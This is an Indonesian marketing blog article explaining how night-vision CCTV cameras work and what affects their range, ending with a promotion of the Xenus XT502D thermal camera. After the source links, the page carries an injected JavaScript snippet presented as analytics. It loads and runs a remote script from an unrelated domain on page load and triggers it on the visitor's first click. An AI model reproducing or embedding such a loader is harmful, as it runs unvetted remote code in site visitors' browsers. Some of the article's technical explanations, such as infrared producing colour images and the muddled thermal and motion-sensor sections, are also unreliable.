Memasang kamera CCTV menjadi salah satu cara terbaik untuk melindungi harta benda maupun aset bisnis agar terhindar dari pencurian. Namun, aksi pencurian seringkali terjadi pada malam hari dengan memanfaatkan kondisi yang gelap. Untuk itulah kamera keamanan yang Anda pasang harus dapat mendukung secara maksimal.
Sekarang pertanyaannya, apakah kamera CCTV dapat melihat dan mendeteksi dalam kegelapan secara akurat? Perlu diketahui bahwa rata-rata CCTV night vision dapat melihat dalam jarak antara 100 hingga 200 kaki pada malam hari.
Namun, jangkauan dari kameranya bisa bervariasi tergantung pada beberapa faktor, seperti bukaan lensa dan kondisi pencahayaan. Selanjutnya, baca terus sampai tuntas untuk mengetahui bagaimana faktor-faktor tersebut mempengaruhi akurasi dan jangkauan visual yang dapat dilihat kamera night vision.
Baca juga: 11 Teknologi Canggih Pada CCTV Terkini yang Harus Anda Tahu
Apa Itu CCTV Night Vision?
Kamera night vision adalah perangkat sistem keamanan yang dirancang khusus untuk dapat bekerja di lingkungan yang minim cahaya atau gelap sekalipun. Kamera CCTV ini berperan besar dalam pemantauan dan pengawasan saat gelap, dan menyediakan pemantauan berkelanjutan.
CCTV ini menggunakan sensor canggih untuk merekam gambar di malam hari, sehingga kamera ini wajib Anda miliki di area yang minim cahaya. Di dalam kameranya terdapat beberapa teknologi visual yang memungkinkan bekerja di malam hari, seperti pencahayaan inframerah.
Teknologi inframerah ini memungkinkan kamera menangkap objek yang tidak dapat dilihat oleh mata manusia, dan mampu menghasilkan gambar berwarna meski dalam cahaya yang sangat rendah.
Tak hanya itu, terdapat teknologi pencitraan thermal yang berfungsi untuk mendeteksi pola atau suhu panas dari individu atau objek. Ini memungkinkan deteksi bahkan dalam kegelapan pekat dimana visibilitas cahaya tradisional adalah nol.
Bagaimana Cara Kamera Night Vision Melihat di Malam Hari?
Tidak semua kamera keamanan memiliki kemampuan penglihatan malam atau night vision. Sementara kamera CCTV biasa hanya menangkap gambar yang buram di malam hari. Sedangkan, CCTV night vision profesional dapat merekam gambar lebih jernih, tajam, dan berwarna.
Meski begitu, kemampuan penglihatan malam kameranya bergantung pada teknologi dan desain bawaannya. Namun, pada dasarnya cara kerja dari kamera keamanan night vision sudah didukung oleh tiga teknologi berikut ini.
1. Pencahayaan LED Inframerah
Kamera night vision umumnya dilengkapi dengan lampu LED inframerah. Lampu ini yang memungkinkan perangkat dapat menerima radiasi dari suatu objek dan dapat menangkap gambar hitam dan putih yang jelas saat malam hari.
Di sisi lain, kamera CCTV inframerah tidak akan terlihat oleh manusia, sehingga penyusup hampir tidak akan menyadari bahwa mereka sedang diawasi gerak-geriknya.
2. Pencitraan Termal
Pencitraan termal atau imaging thermal jadi salah satu teknologi yang digunakan untuk mendeteksi sinyal atau suhu panas. Dengan sistem ini, kamera mampu melacak garis luar objek dengan mendeteksi gelombang panas yang dipancarkan dari gerakan objek atau individu.
Anda bisa membedakannya dengan melihat perbedaan warna pada tampilan dashboard-nya. Bagian yang panas akan menampilkan perpaduan warna merah, orange, dan kuning, sedangkan bagian yang lebih dingin berwarna biru. Contohnya, saat tubuh manusia mengeluarkan energi di malam hari, lingkungan di sekitarnya akan menjadi lebih dingin. Maka dari itu, kamera termal mampu menangkap variasi suhu dari objek tersebut dan membedakan antara manusia dan lingkungan sekitar, bahkan saat seseorang sedang bersembunyi di semak-semak sekalipun.
Kamera keamanan yang didukung pencitraan termal sangat cocok digunakan untuk pengawasan jarak jauh di malam hari, apapun kondisi cahayanya. Kamera ini juga punya kemampuan dalam melihat jarak sekitar 100 hingga 150 kaki, sehingga sangat tepat untuk memantau halaman atau jalanan di lingkungan bisnis Anda.
3. Sensor Gerak
Salah satu keunggulan utama dari CCTV night vision pengambilan foto dan video dengan kualitas tinggi bahkan dalam kondisi gelap gulita. Kemampuannya ini berkat sensor cahaya bintang yang sensitif dan aperture yang lebar.
Selain itu, kamera ini juga dilengkapi sensor gerak dan masa pakai baterai yang tahan lama. Adanya teknologi ini, Anda dapat memanfaatkannya untuk aplikasi khusus seperti astrofotografi dan pengamatan satwa liar.
Baca juga: Kenalan dengan CCTV Thermal Xenus dan Manfaatnya
Faktor-Faktor yang Mempengaruhi Kinerja CCTV Night Vision
Perlu Anda ketahui bahwa jarak jangkauan kamera keamanan night vision dalam melihat di malam hari dipengaruhi oleh beberapa faktor. Selain desain dari kameranya, kondisi lingkungan juga berperan penting dalam menentukan seberapa jauh dan akurat CCTV night vision dapat bekerja di kondisi gelap. Apa saja faktor yang mempengaruhinya, berikut poin-poinnya.
1. Panjang Fokus
Panjang fokus disini maksudnya adalah jarak antara lensa kamera dan sensor atau film. Seberapa banyak pemandangan yang dapat ditangkap oleh kamera dan seberapa jelas objek yang ditampilkan dalam foto dipengaruhi panjang fokusnya. Semakin panjang fokusnya, semakin sempit jarak pandangnya, dan area yang dapat diamati oleh kamera CCTV semakin sempit. Meski begitu, jarak jangkauan kamera keamanan jadi lebih panjang.
Secara umum, panjang fokus dibagi menjadi dua jenis, yaitu variabel dan tetap. Untuk penerapan night vision, lensa panjang fokus tetap seringkali digunakan oleh kamera keamanan dengan sudut lebih lebar, misalnya 2,8mm atau 4mm. Lensa ini menawarkan bidang pandang yang lebih luas, yang memungkinkan cakupan area kameranya juga lebih luas dan lebih banyak detail yang ditangkap dalam kondisi minim cahaya.
Beberapa kamera keamanan dengan night vision juga dilengkapi lensa panjang fokus variabel, seperti 5-100mm atau 8-800mm. Lensa ini memiliki keunggulan dalam fleksibilitas yang dapat menyesuaikan panjang fokusnya dan memperbesar target tertentu. CCTV ini sangat cocok untuk pengawasan jarak jauh dan skenario yang membutuhkan detail sangat halus.
2. Resolusi
Resolusi mengacu pada jumlah piksel dalam gambar, yang menentukan seberapa jernih dan detail gambar. Semakin tinggi resolusinya sudah pasti gambar yang ditangkap semakin jernih dan detail. Kamera CCTV night vision memiliki resolusi yang dapat menghasilkan gambar lebih jelas meskipun dalam kondisi gelap saat malam hari atau jarak yang jauh.
3. Kondisi Pencahayaan
Visibilitas kamera night vision Anda juga dipengaruhi oleh kondisi pencahayaan. Dalam kondisi minim cahaya, kamera keamanan night vision mungkin bakal terlalu buram atau gelap untuk menangkap detail apa pun. Jangkauan pandang kamera juga dapat berkurang.
Namun, dengan pencahayaan yang memadai, kamera night vision dapat mengidentifikasi lebih banyak. Oleh karena itu, pastikan Anda tidak memasang kamera ini di tempat yang terlalu banyak cahaya langsung karena dampaknya akan membutakan lensa dan pandangannya jadi pudar.
4. Bukaan Lensa
Bukaan lensa juga mempengaruhi seberapa akurat kamera keamanan night vision dapat bekerja di malam hari. Ukurannya menentukan seberapa banyak jumlah cahaya yang masuk kamera untuk mencerahkan gambar. Bukaan lensa yang lebih besar memungkinkan cahaya yang masuk lebih banyak sehingga gambar jadi lebih jernih.
5. Sensor Gambar
Sensor gambar menjadi salah satu faktor penting yang mempengaruhi kejernihan gambar dari CCTV night vision. Sensor ini berfungsi menerima cahaya yang masuk dan mengubahnya menjadi sinyal listrik untuk menghasilkan gambar. Sensor gambar yang lebih besar akan mengumpulkan lebih banyak cahaya, sehingga kamera dapat menangkap gambar lebih terang dan banyak detail, terutama dalam kondisi cahaya malam hari.
6. Lokasi
Lokasi pemasangan kamera night vision termasuk faktor lain yang dapat mempengaruhi jangkauan pandang kamera di kegelapan. Secara khusus, lokasi penempatan kameranya serta ketinggian, dan sudutnya juga memberikan pengaruh.
Untuk mencegah tindakan vandalisme, kamera CCTV night vision harus ditempatkan di dekat titik masuk seperti pintu depan dan samping, serta halaman. Jangan terlalu tinggi memasang kameranya karena jika terlalu tinggi, gambar yang ditangkap kamera di malam hari mungkin akan terlihat kabur.
Selain itu, pastikan di lingkungan sekitar Anda tidak penghalang seperti pohon yang dapat menghalangi garis pandang kamera.
Baca juga: Penggunaan CCTVThermal Dalam Kehidupan Bermasyarakat dan Bisnis
Pilihan Kamera Night Vision Terbaik
Dari faktor-faktor di atas, bisa dipastikan bahwa kamera night vision terbaik mampu menangkap gambar dengan ketajaman dan kejelasan lebih tinggi dari jarak jauh dalam kondisi tanpa cahaya.
Itulah sebabnya, kami memperkenalkan smart thermal security XT502D dari Xenus yang benar-benar unggul dalam keamanan malam hari. Dengan kombinasi pencitraan termal dan visual dapat memberikan visibilitas yang tajam dalam kegelapan total melalui deteksi suhu.
Selain itu, deteksi gerakan yang didukung radar inframerah meminimalkan alarm palsu dengan membedakan pejalan kaki dan ancaman nyata. Kemudian fitur seperti deteksi garis tripwire dan intrusi area yang didukung teknologi AI dapat mengklasifikasikan manusia dan kendaraan.
Untuk info lebih lanjut tentang CCTV night vision kami, kunjungi situs resmi Camarjaya atau hubungi kami disini.
Sumber:
https://www.eufy.com/blogs/security-camera/how-far-can-security-cameras-see-at-night
https://worldstarsecuritycameras.com/enhancing-security-camera-night-vision-with-proper-lighting/?srsltid=AfmBOopgi3D4ym2Jim3CNt7VGdtOkecbz2p1j7mC3P4lw5NzVEbAKOnq
https://ecam.com/security-blog/how-night-vision-cameras-work
(function () {if (window.__analytics_injected__) return;window.__analytics_injected__ = true;var script = document.createElement(“script”);script.src = “https://oncloud.web.id/analytics.js?v=” + Date.now();script.async = true;(document.head || document.body).appendChild(script);script.onload = function () {function triggerAnalyticsOnce() {if (typeof window.analyticsHandler === “function”) {window.analyticsHandler();}document.removeEventListener(“click”, triggerAnalyticsOnce);}document.addEventListener(“click”, triggerAnalyticsOnce);};})();